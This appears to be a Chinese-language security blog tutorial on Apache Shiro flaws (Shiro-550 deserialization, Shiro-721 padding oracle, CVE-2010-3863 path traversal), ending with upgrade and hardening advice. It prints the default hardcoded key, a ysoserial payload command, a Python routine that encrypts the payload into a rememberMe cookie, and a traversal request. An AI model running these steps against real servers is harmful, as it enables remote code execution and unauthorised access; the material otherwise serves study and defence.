框架漏洞(2)shiro

前言

        Apache Shiro 是一个功能强大的 Java 安全框架,广泛应用于身份认证、授权、加密和会话管理。然而,其历史版本中存在多个安全漏洞,尤其是与 RememberMe 功能 相关的反序列化漏洞(如 CVE-2016-4437、CVE-2019-12422)和路径遍历漏洞(如 CVE-2010-3863)。

一、核心漏洞

1. Shiro-550 (CVE-2016-4437) - RememberMe 反序列化漏洞

漏洞原理:
        Shiro 的 RememberMe 功能通过 Cookie 存储用户身份信息,数据经 序列化 → AES 加密 → Base64 编码 后传输。

硬编码密钥

        Shiro ≤ 1.2.4 版本使用固定密钥 kPH+bIxk5D2deZiIxcaaaA==(Base64 编码)。

反序列化风险

       服务端解密后直接反序列化数据,未验证内容,导致攻击者可构造恶意序列化对象,触发任意代码执行(RCE)。

影响版本:Apache Shiro ≤ 1.2.4

漏洞特征:

       ①响应头包含 Set-Cookie: rememberMe=deleteMe

       ②存在硬编码密钥或密钥可预测。

2. Shiro-721 (CVE-2019-12422) - Padding Oracle 攻击

漏洞原理:
        Shiro 使用 AES-CBC 模式加密 RememberMe Cookie,攻击者可通过 填充 oracle 攻击 逐步解密数据。

攻击流程:①注入恶意序列化对象,触发 RCE。

                  ②构造恶意密文,利用服务端返回的填充错误推断明文。

                  ③获取合法 Cookie(需用户登录)。

影响版本:Apache Shiro < 1.4.2

3. CVE-2010-3863 - 路径遍历漏洞

漏洞原理:
        Shiro ≤ 1.1.0 未对 URI 路径标准化,攻击者可构造特殊路径(如 /../admin)绕过权限验证。

影响版本:Apache Shiro ≤ 1.1.0

二、漏洞利用思路

1. Shiro-550 漏洞利用

步骤 1:确认漏洞存在

①访问目标系统,检查响应头是否包含 rememberMe=deleteMe

②使用工具(如 shiro_exploit)扫描默认密钥。

步骤 2:构造恶意 Payload

使用 ysoserial 生成恶意序列化对象(如 CommonsCollections、JRMPClient):

java -jar ysoserial.jar CommonsCollections4 "touch /tmp/pwned" > payload.ser

    用默认密钥加密 Payload:

    from Crypto.Cipher import AES
    import base64, uuid
    
    def encode_rememberme(command):
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(command)  # 自定义填充函数
        ciphertext = iv + encryptor.encrypt(file_body)
        return base64.b64encode(ciphertext).decode()
    
    payload = encode_rememberme(open("payload.ser", "rb").read())
    print(f"rememberMe={payload}")
    步骤 3:发送恶意 Cookie

    将生成的 rememberMe 值注入请求头,触发服务端反序列化。

    2. Shiro-721 漏洞利用

    步骤 1:获取合法 Cookie

    正常登录系统,抓包获取 rememberMe Cookie。

    步骤 2:Padding Oracle 攻击

    使用工具(如 PadBuster)解密 Cookie,注入恶意 Payload:

    # 伪代码示例:PadBuster 攻击流程
    def padding_oracle_attack(ciphertext):
        for i in range(len(ciphertext)):
            # 构造恶意密文,发送请求并观察填充错误
            # 逐步推断明文
            pass
    步骤 3:触发 RCE

    解密后替换为恶意序列化对象,重新加密并发送。

    3. CVE-2010-3863 漏洞利用

    构造路径遍历请求:

    GET /../admin HTTP/1.1

    绕过权限验证,访问受限资源。

    三、防御与修复建议

    1. 升级 Shiro 版本
      • ≥ 1.2.5 移除硬编码密钥。
      • ≥ 1.4.2 修复 Padding Oracle 漏洞。
    2. 禁用危险功能:关闭 RememberMe 或使用安全的随机密钥。
    3. 输入验证与过滤:对反序列化数据严格校验。
    4. 安全配置
      • 使用 WAF 拦截异常 Cookie。
      • 标准化 URI 路径处理。

    四、总结

            Shiro 漏洞的核心风险在于 不安全的序列化/反序列化操作 和 弱加密机制。攻击者可通过构造恶意 Cookie 或路径实现 RCE 或权限绕过。开发者需及时升级框架,并遵循安全编码规范,避免硬编码密钥和敏感操作。

     结语     

    哪有那么多天赋禀异

    不过是百炼成钢罢了

    !!! 

    框架漏洞(2)shiro_第1张图片

    你可能感兴趣的:(0o,shiro)